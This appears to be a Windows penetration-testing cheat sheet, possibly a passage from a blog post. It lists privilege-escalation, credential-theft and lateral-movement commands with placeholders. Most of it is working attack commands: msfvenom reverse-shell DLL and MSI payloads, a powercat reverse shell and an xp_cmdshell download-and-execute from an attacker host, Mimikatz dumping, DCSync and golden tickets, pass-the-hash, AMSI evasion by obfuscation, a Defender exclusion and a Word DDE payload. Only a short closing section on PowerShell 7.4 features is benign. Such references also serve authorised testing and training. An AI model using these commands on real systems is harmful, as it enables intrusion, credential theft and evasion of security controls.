icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
```
### Get scheduled tasks and look for paths with full permissions
```
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
## Services
### Get services with vulnerable permissions
https://live.sysinternals.com/accesschk.exe
https://github.com/ankh2054/windows-pentest/blob/master/Privelege/accesschk-2003-xp.exe
```
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
```
### Get information about service
```
sc qc <service>
```
### Remove dependency
```
sc config <service> depend= /
```
### Set new binary for service
```
sc config <service> binpath= "<path>\<file>.exe"
```
### Start service
```
net start <service>
```
### Or replace binary with powerview
```
Write-ServiceEXE -ServiceName CustomSVC -UserName <newUser> -Password <password> -Verbose
```
### Or change path of executed binary with powerview
```
Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName <userName> -Password <password> -Verbose
```
## DLL Hijacking
### Check running processes and look for paths with full permissions
```
Tasklist /SVC
ps
```
### Create dll with msfvenom and replace original file
```
msfvenom -p windows/shell/reverse_tcp lhost=<lhost> lport=<lport> -f dll -o <name>.dll
```
## Unquoted Service Paths
### Get unquoted service paths
```
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
```
### Check folder permissions (look for F (Full) under Everyone)
```
icacls "C:\Program Files (x86)\<path> "
```
### Place exe file
```
C:\Program Files (x86)\<path>.exe
```
### Restart service (alternatively reboot)
```
sc stop "<serviceName>"
sc start "<serviceName>"
```
## Password Mining
### Autologon registry entries
```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
```
### Credential manager
```
cmdkey /list
dir C:\Users\%username%\AppData\Local\Microsoft\Credentials\
dir C:\Users\%username%\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\%username%\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\%username%\AppData\Roaming\Microsoft\Credentials\
```
### Check for passwords in registry
```
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
```
### Ssh credentials
```
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
```
### Get user that can read laps passwords
```
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
```
### Can SAM and SYSTEM files be accessed?
```
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
### Get unattended files
```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
```
### Search for vnc and password files in ini xml or txt format
```
dir c:\*vnc.ini /s /b /c
dir c:\*ultravnc.ini /s /b /c
dir c:\ /s /b /c | findstr /si *vnc.ini
```
### Search for password file in ini, txt or ini format
```
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
findstr /si ConvertTo-SecureString *.txt | *.xml | *.ini
```
### Big search for possible credentials
```
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
```
### Recover passwords stored in user memory
https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe
### Use found password to execute command
```
psexec.exe -accepteula -u <user> -p <password> <command>
```
## AlwaysInstallElevated
### Check if AlwaysInstallElevated is enabled on both registry keys (0x1 -> feature is enabled)
```
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```
### Create msi file with msfvenom
```
msfvenom -p windows/shell/reverse_tcp lhost=<lhost> lport=<lport> -f msi > <file>.msi
```
### Install file using msi (qn = no GUI, i = regular installation)
```
msiexec /quiet /qn /i <file>.msi
Write-UserAddMSI -Verbose
```
## Startup Applications
### Get startup scripts
```
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```
## Kernel Exploits
### Get os version windows
```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
```
### Get installed patches
```
wmic qfe get Caption,Description,HotFixID,InstalledOn
```
### List applications installed via Windows Installer
```
wmic product get name, version, vendor
```
### List systemwide updates
```
wmic qfe get Caption, Description, HotFixID, InstalledOn
```
### List device drivers
```
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
```
### Get version number for specific driver
```
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*<driver>*"}
```
### Exploit suggester
```
C> systeminfo > systeminfo.txt
$> python3 wes.py systeminfo.txt -e -i "Elevation of Privilege"
```
### Precompiled exploits
https://github.com/WindowsExploits/Exploits
https://github.com/SecWiki/windows-kernel-exploits
psamsi
### Source
https://raw.githubusercontent.com/cobbr/PSAmsi/master/PSAmsiClient.ps1
### Create scanner
```
$scan = [PSAmsiScanner]::new()
```
### Scan specific string
```
$scan.GetPSAmsiScanResult('<string>')
```
### Scan specific url
```
$scan.GetPSAmsiScanResult([Uri]::new("<url>"))
```
### Scan specific file
```
$scan.GetPSAmsiScanResult([String]::new("<file>"))
```
### Discover which piece of a script is flagged as malicious
```
$signatures = Find-AmsiSignatures -ScriptUri '<url>'
$signatures
```
### Obfuscate only parts of script that are flagged as malicious
```
$miniObfs = Get-MinimallyObfuscated -ScriptUri '<url>'
```
psexec
### Source
https://live.sysinternals.com/PsExec.exe
https://live.sysinternals.com/PsExec64.exe
### Run command as another user using a password or hash
```
.\psexec.exe -accepteula -u <user> -p <lm>:<ntlm> <command>
```
### Open remote shell
```
.\psexec.exe -accepteula -u <domain>\<user> -p <password> \\<rhost>
```
### Start cmd.exe as nt authority\system
```
.\psexec.exe -i -d -s cmd.exe
```
seatbelt
### Run all commands
```
seatbelt.exe -group=all
```
smbexec
### Source
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1
### Run command remotely
```
Invoke-SMBExec -Target <rhost> -Domain <domain> -User <user> -Command "powershell -c <command>" -Hash <nthash>
```
smbshare
### List shares
```
Get-SmbShare -name "<rhost>"
```
### Create share (everyone/jeder)
```
New-SmbShare -Name "<name>" -Path "<path>" -FullAccess "<domain>\<user>"
```
### Remove share
```
Remove-SmbShare -Name "<name>"
```
smbshareaccess
### Get permissions for smb share
```
Get-SmbShareAccess -Name "<name>"
```
### Grant full permission to everybody
```
Grant-SmbShareAccess -Name "<name>" -AccountName "Everyone" -AccessRight Full -Force
```
snaffler
### Source
https://github.com/SnaffCon/Snaffler
### Search through smb shares for password files
```
snaffler.exe -s -o <output>
```
spartacus
### Source
https://github.com/sadreck/Spartacus
### Discover COM hijackable DLLs
```
.\Spartacus.exe --mode com --procmon <pathToProcmon> --pml <pathToProcmonLogs> --csv <pathToDllsLogs> --verbose
```
win-brute-login
### Local brute force using wordlist file (-w wordlist)
```
WinBruteLogon.exe -u <user> -w <file>
```
wmiexec
### Source
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
### Execute command
```
Invoke-WMIExec -Target <rhost> -Domain <domain> -User <user> -Command "powershell -c <command>" -Hash <nthash>
```
Security Descriptors
security-descriptor-definition-language
### Ssdl - a text string that can be used to describe a security descriptor
```
RP = Start
WP = Stop
WD = WDac
SY = Local System
BA = Built-in (local) administrators
AU = Authenticated Users
```
### Example
```
(A;;RPQP;;;AU) - users within the authenticated users group are allowed to start or stop the service
```
securityidentifier
### Convert SID to objectname
```
$objSid = New-Object System.Security.Principal.SecurityIdentifier("<sid>")
$objUser = $objSid.Translate([System.Security.Principal.NTAccount])
$objUser.Value
```
### Convert objectname to SID
```
$objUser = New-Object System.Security.Principal.NTAccount("<name>")
$strSid = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSid.Value
```
### Convert localobject to SID
```
$objUser = New-Object System.Security.Principal.NTAccount("<objectname>")
$strSid = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSid.Value
```
Utilities & Tools
archive
### Compress a file (zip).
```
Compress-Archive -U -LiteralPath <source> -DestinationPath <destination>
```
### Expand a file (unzip).
```
Expand-Archive -LiteralPath <source> -DestinationPath <destination>
```
base64EncodeDecode
### Encode string as base64
```
$StringToEncode = "Foo"
$EncodedString = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($StringToEncode))
```
### Decode base64 string
```
$DecodedString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedString))
Write-Host "Encoded String:" $DecodedString
```
### Encode file as base64
```
$FileName = "<file>"
$Base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
[IO.File]::WriteAllBytes($FileName, [Convert]::FromBase64String($Base64string))
```
bloodhound
### Ingestors
https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1
https://raw.githubusercontent.com/BloodHoundAD/BloodHound/20ee4feb119a96cce3e5ebd5631f4ca64156694b/Collectors/SharpHound.ps1
https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
### Collect informations using only LDAP queries
```
Invoke-BloodHound -CollectionMethod DCOnly -NoSaveCache -RandomizeFilenames -EncryptZip
```
### Collection methods
```
ACL
All
ComputerOnly (Sessions, local Groups)
Container (OU, GPO-links)
DCOM
DCOnly (Users, Groups, Computers, Domain trusts, ACLs, OUs, GPO-Links)
GPOLocalGroup (touch only DC)
LocalAdmin
LocalGroup (RDP, DCOM, PSRemote)
PSRemote
RDP
Session
Trusts
```
### Opsec considerations
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1
https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/docs/images/SharpHoundCheatSheet.png
createinstance
### Lateral movement using DCOM
```
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<domain>"))
$mmc.Document.ActiveView.ExecuteShellCommand("powershell.exe",$null,'-NoP -W Hidden -Command "<command>"',$null)
```
createshortcut
### Create shortcut (unset hotkey by using $shortcut.HotKey = 0)
```
$wsh = New-Object -comObject WScript.Shell
$shortcut = $wsh.CreateShortcut("$Home\Desktop\shortcut.lnk")
$shortcut.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$shortcut.arguments = " -c mkdir C:\newDir"
$shortcut.HotKey = "w"
$shortcut.WindowStyle = 7 # hides the executed window
$shortcut.Save()
```
### Will only work if lnk file is placed in one of the following paths
```
$Home\Desktop
$env:APPDATA\Roaming\Microsoft\Windows\Start Menu
$env:APPDATA\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar
```
group3r
### Source
https://github.com/Group3r/Group3r
### Scan for GPO misconfiguration
```
Grouper.exe -f <outfile>
```
hash-types
### LM - way to store windows password
```
oldest password storage used by windows
stored inside SAM on a windows system
stored inside NTDS on domain controler
when dumped shown together with NTHash before colon
```
### NTHash (NTLM) - way to store windows password
```
pass the hash possible
stored inside SAM on a windows system
stored inside NTDS on domain controler
```
### NTLMv1 (Net-NTLMv1) - challenge response protocol
```
version 1 of the protocol uses both NT and LM hash
can be obtained using responder - no pass the hash possible, due challenge-response protocol
```
### NTLMv2 (Net-NTLMv2) - challenge response protocol
```
newer version of NTLMv1 - harder to crack
can be obtained using responder
```
installed-dot-net-version
### Get installed .net version
```
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name Version, Release -ErrorAction 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version, Release
```
mcafee
### Path to quarantine
```
C:\Quarantine\quarantine
```
### Password for zip
```
infected
```
mimikatz
### Source
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://github.com/gentilkiwi/mimikatz
### Elevate to system ("token::revert" to drop token)
```
Invoke-Mimikatz -Command '"token::elevate"'
```
### Dump credentials
```
Domain Cached Credential - "lsadump::cache"
Security Hives - "lsadump::sam"
Machine Accounts "lsadump::secrets"
Local Security Authority Substem Service - "sekurlsa::logonPasswords full"
Data Protection API - "vault::cred"
```
### Execute DCSync for single user
```
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:<user>"'
```
### Export all tickets from memory
```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```
### Pass the hash
```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlmHash>"'
```
### Inter realm golden ticket - can be done offline, since domain controller connection is not necessary (/endin = validity period 60 minutes, /user can be fictitious, -519 is the SID of enteprise admin)
```
Invoke-Mimikatz -Command '"kerberos::golden /user:<attackerAccount> /domain:<compromisedDomain> /sid:<sidCompromisedDomain> /sids:<sidTargetDomain>-519 /krbtgt:<ntlmHashKrbTgt> /endin:60"'
```
### Dump credentials from lsass dump
```
mimikatz.exe
mimi> sekurlsa::minidump <file>.dmp
mimi> sekurlsa::logonPasswords full
```
### Write output of command to file
```
mimi> log <file>.txt
```
msedge
### Download file (will add html declaration)
```
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --enable-logging --disable-gpu --dump-dom "https://<rhost>/<file> > <file>
```
### Execute command
```
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c <command> &&"
```
msi
### Source
https://github.com/wixtoolset/wix3
### Generate msi file
```
.\candle.exe <file>.wxs
.\light.exe -ext WixUIExtension -cultures:en-us -dcl:high -out <file>.msi <file>.wixobj
```
### Compile DLL for custom DLL entry msi (newCustomAction.dll will be created at runtime)
```
public static ActionResult <name> in <file>.cs must correspond to DllEntry="name" in <file>.wsx
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\<pathToWix>\Microsoft.Deployment.WindowsInstaller.dll /target:library /out:<file>.CA.dll .\<file>.cs
C:\<pathToWix>\sdk\MakeSfxCA.exe C:\<pathTo>\<newCustomAction>.dll C:\<pathToWix>\sdk\x64\sfxca.dll C:\<pathToWix>\<file>.dll C:\<pathToWix>\Microsoft.Deployment.WindowsInstaller.dll
```
### Custom action type numbers
```
Number Action
1250, 3298, 226 EXE or system command
1126, 102 VBScript
1125, 101 JScript
1218, 194 Binary table: EXE
65 Binary table: DLL
1746 EXE in from installation directory
```
mssql
### Enable xp_cmdshell SQL Server configuration
```
mssql> enable_xp_cmdshell
```
### Execute shell command
```
mssql> EXEC xp_cmdshell <command>
```
### Download string and invoke expression
```
mssql> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<lhost>/<file>.txt") | powershell -noprofile'
```
### Enable xp_cmdshell on linked servers
```
mssql> EXEC('sp_configure ''show advanced options'',1; reconfigure;') AT [<fdqnRhost>]
mssql> EXEC('sp_configure ''xp_cmdshell'',1; reconfigure;') AT [<fdqnRhost>]
mssql> SELECT * FROM OPENQUERY("<fqdnRhost>", 'select * from sys.configuration where name = ''xp_cmdshell''')
```
### Get hostname
```
SELECT HOST_NAME();
```
### Get tables
```
SELECT name FROM <database>..sysobjects;
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
```
### Get content of table
```
SELECT * FROM master..sql_logins;
```
### Get permissions
```
SELECT is_srvrolemember('sysadmin');
SELECT is_srvrolemember('serveradmin');
```
osquery
### Source
* https://github.com/osquery/osquery/releases
### Show available tables
```
.\osqueryi.exe ".tables"
```
### Print information about users using json format
```
.\osqueryi.exe --json "SELECT * FROM users"
```
### List running processes
```
.\osqueryi.exe "select pid, name, path from processes";
```
patrolcli
### Static key can be decrypted
```
C:\Program Files\Patrol\patrol3
```
### Execute command
```
PCli%> connect <rhost>
PCli%> execpsl "system(\"dir C:\\\\directory\");"
```
powercat
### Source
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
### Start reverse shell
```
powercat -c <lhost> -p <lport> -e cmd.exe
```
powerextract
### Source
https://github.com/powerpointken/PowerExtract
### Parse lsass dump
```
Invoke-PowerExtract -PathToDMP <file>.dmp
```
powergpoabuse
### Source
https://raw.githubusercontent.com/rootSySdk/PowerGPOAbuse/master/PowerGPOAbuse.ps1
### Create new gpo
```
New-DomainGPO -DisplayName <gpoName> -Domain <domain>
```
### Use gpo to add new admin
```
Add-LocalAdmin -GPOIdentity '<gpo>' -Member <user> -Domain <domain>
```
powermad
### Source
https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
### Add new machine account to domain
```
New-MachineAccount -MachineAccount <newComputer> -Password $(ConvertTo-SecureString '<newPassword>' -AsPlainText -Force)
```
powerup
### Source
https://raw.githubusercontent.com/AdrianVollmer/PowerSploit/master/Privesc/PowerUp.ps1
### Run all checks and prevent script from terminating if one test fail
```
Invoke-PrivescAudit -ErrorAction SilentlyContinue -Format html
```
### Replace vulnerable service exe and add new user (improper write permissions on file)
```
Write-ServiceEXE -ServiceName <name> -UserName <newUser> -Password <newPassword> -Verbose
```
### Replace vulnerable service path and add new user (stop service, rewrite path, start service)
```
Invoke-ServiceUserAdd -ServiceName <name> -UserName <newUser> -Password <newPassword> -Verbose
```
### Use AlwaysInstallElevated key and add new user (need a GUI)
```
Write-UserAddMSI -Verbose
```
### Test for UAC bypass
```
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe mkdir C:\testUAC"
```
powerupsql
### Source
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1
### Discover active directory domain SQL server
```
Get-SQLInstanceDomain -Verbose -DomainController <dc> | Get-SQLServerinfo -Verbose
```
### List accessible SQL server using credentials
```
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username <user> -password <password> | Where-Object {$_.Status -like "Accessible"}
```
### Get information from specific instance
```
Get-Sqlserverinfo -instance <instance>
```
### Scan for misconfiguration
```
Invoke-sqlaudit -instance <instance>
```
### Search database rows for specific keywords (NoDefaults skip default tables)
```
Get-SQLColumnSampleData –Verbose –Keyword "secret,password" –SampleSize 10 –NoDefaults -Instance <instance>
```
### Execute command
```
Invoke-SQLOSCmd -Instance <instance> -Command '<command>' -RawResults
```
### Execute query
```
Get-SQLQuery -Instance <instance> -Query 'SELECT * FROM master..sysservers'
```
### Scan for linked databases
```
Get-SQLServerLinkCrawl -Instance <instance>
```
### Execute commands on linked instances
```
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell '<command>'"
```
### Excute command on linked mssql instance via instance (xp_cmdshell can not be enabled by OpenQuery)
```
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell '<command>' "
```
presentationsettings
### Prevent windows from hibernate on mobile devices (use /stop to revert settings)
```
presentationsettings /start
```
scriptrunner
### Execute cmd
```
Scriptrunner.exe -appvscript cmd /c <command>"
```
sharpchromium
### Source
https://github.com/djhohnstein/SharpChromium
https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1
### Collect credentials and cookies from chrome and edge browser
```
Invoke-SharpChromium all
```
sharpdpapi
### Source
https://github.com/GhostPack/SharpDPAPI
### Extract credentials of NNA (SCCM)
```
SharpDPAPI.exe sccm
```
sharpsccm
### Source
https://github.com/Mayyhem/SharpSCCM
### Identify SCCM server on local machine
```
SharpSCCM.exe local siteinfo
```
### Initiate Client Push (for relaying)
```
SharpSCCM.exe <server> <siteCode> invoke client-push -t "<windowsHostNetbiosName>@445"
```
version-ids
### Windows NT 3.1 (All)
```
NT 3.1
```
### Windows NT 3.5 (All)
```
NT 3.5
```
### Windows NT 3.51 (All)
```
NT 3.51
```
### Windows NT 4.0 (All)
```
NT 4.0
```
### Windows 2000 (All)
```
NT 5.0
```
### Windows XP (Home, Pro, MC, Tablet PC, Starter, Embedded)
```
NT 5.1
```
### Windows XP (64-bit, Pro 64-bit), Windows Server 2003 & R2 (Standard, Enterprise), Windows Home Server
```
NT 5.2
```
### Windows Vista (Starter, Home, Basic, Home Premium, Business, Enterprise, Ultimate), Windows Server 2008 (Foundation, Standard, Enterprise)
```
NT 6.0
```
### Windows 7 (Starter, Home, Pro, Enterprise, Ultimate), Windows Server 2008 R2 (Foundation, Essentials, Standard)
```
NT 6.1
```
### Windows 8 (x86/64, Pro, Enterprise, Windows RT (ARM)), Windows Phone 8, Windows Server 2012 (Foundation, Essentials, Standard)
```
NT 6.2
```
### Windows 8.1, Windows Server 2012 R2
```
NT 6.3
```
### Windows 10, Windows Server 201, Windows Server 2019
```
NT 10.0
```
volumiser
### Source
https://github.com/CCob/Volumiser
### Install
```
winget install Microsoft.DotNet.SDK.6
dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org
dotnet restore
```
### Browse and extract files from virtual machine hard disk
```
Volumiser.exe --image "c:\<path>.vhdx"
```
### Supported file formats
```
Amazon EBS Snapshots
VHDX
VMDK
VHD
VHDX
```
windows-defender
### Exclude path from windows defender
```
Import-Module Defender
Add-MpPreference -ExclusionPath C:\Exclude
```
### Find windows defender process
```
msMpEng.exe
```
word-dde
### Create Dynamic Data Exchange inside Word document
```
Insert > Quick Parts (Icon with arrow down) > Field
= (Formula) > OK
Right click on "!Unexpected End of Formula" > Toggle Field Codes
Replace { = \* MERGEFORMAT } > { DDEAUTO "c:\\windows\\system32\\cmd.exe /c powershell.exe -nop -w hidden <command>" "title"}
```
Latest Updates and Improvements (2025-2026)
PowerShell 7.4 and Beyond
Recent PowerShell versions (7.4+) have introduced several key features and improvements:
- PSFeedbackProvider: An extensible framework for providing suggestions and feedback, replacing the older hard-coded suggestion mechanism.
- PSNativeCommandPreserveBytePipe: Now a mainstream feature, it preserves the byte-stream data when redirecting stdout of native commands.
- Web Cmdlet Improvements: Significant enhancements to `Invoke-WebRequest` and `Invoke-RestMethod`, including Brotli decompression support, improved redirect handling, and better progress bar rendering.
- Tab Completion: Numerous improvements to tab completion for better accuracy and context-aware suggestions.
- .NET 8 Integration: PowerShell 7.4 is built on .NET 8, bringing performance improvements and new APIs.
For a full list of changes, refer to the official PowerShell 7.4 release notes.
Comments
Post a Comment